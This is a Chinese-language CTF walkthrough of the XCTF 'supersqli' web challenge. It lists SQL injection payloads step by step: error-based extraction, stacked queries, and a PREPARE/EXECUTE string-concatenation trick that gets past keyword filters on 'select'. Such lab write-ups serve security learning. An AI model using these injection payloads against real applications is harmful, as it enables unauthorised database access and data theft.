XCTF高手进阶区 web5_supersqli writeup(新)

web5_supersqli

原题链接

key:报错函数+SQL堆叠注入+命令拼接

 

①题目打开后是这个样子的👇

再根据题目描述👇

大概率是道SQL注入题

 

②像bkctf里的那道SQL注入题一样

先把默认的inject=1提交一下

提交inject=1'回显错误,猜测是单引号闭合

提交inject=1'#回显正常,说明是单引号闭合

 

③一样的操作,用order by判断联合注入的字段数

提交inject=1' order by 2#,回显正常

提交inject=1' order by 3#,回显错误

说明字段数是2

 

④然后就可以试试能不能进行联合查询注入了

提交inject=1' union select 1,2#后返回了这玩意👇

显然是正则表达式preg_match()过滤了select等关键语句

这样就无法进行查数据了,而且这里的/i就是忽略了大小写,所以大小写绕过也没用

又试了试双写绕过,结果还是一样,orz

 

⑤去网上查了查别的思路

可以先通过报错函数,把数据库给注入出来

提交一下👇

1' and extractvalue(1,concat(1,version()))#

可知版本信息:.18-MariaDB

提交👇

-1' and extractvalue(1,concat(1,database()))#

数据库名称:supersqli

 

⑥经过测试发现这里可以执行多条语句,也就是堆叠注入

查一下这个数据库有多少表👇

1';use supersqli;show tables#

第一张表:words,第二张表:words1

查询表words的列名👇

1';show columns from`words`;#

 

⑦如何在被禁用select等语句的情况下完成爆字段?

我们可以选择执行字符串拼接后的指令👇

1';use supersqli;set @sql=concat('s','elect `id` from `words`');prepare sql_query from @sql;execute sql_query;#

字符串为表名操作时要加反引号,即数字键盘1的左边按键

发现还有一层strstr()过滤,但strstr()不能区分大小写,大写或者混写一下就可以了👇

1';use supersqli;set @sql=concat('s','elect `id` from `words`');PREPARE sql_query FROM @sql;EXECUTE sql_query;#

知识补充

mysql中Prepare、execute、deallocate的使用方法

简单点说,这里@是定义一个用户自定义变量的意思

PREPARE是预处理,这里预处理语句必须大写

格式就是PREPARE sql_query from @sql_query;execute sql_query;

回显页面得到flag

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章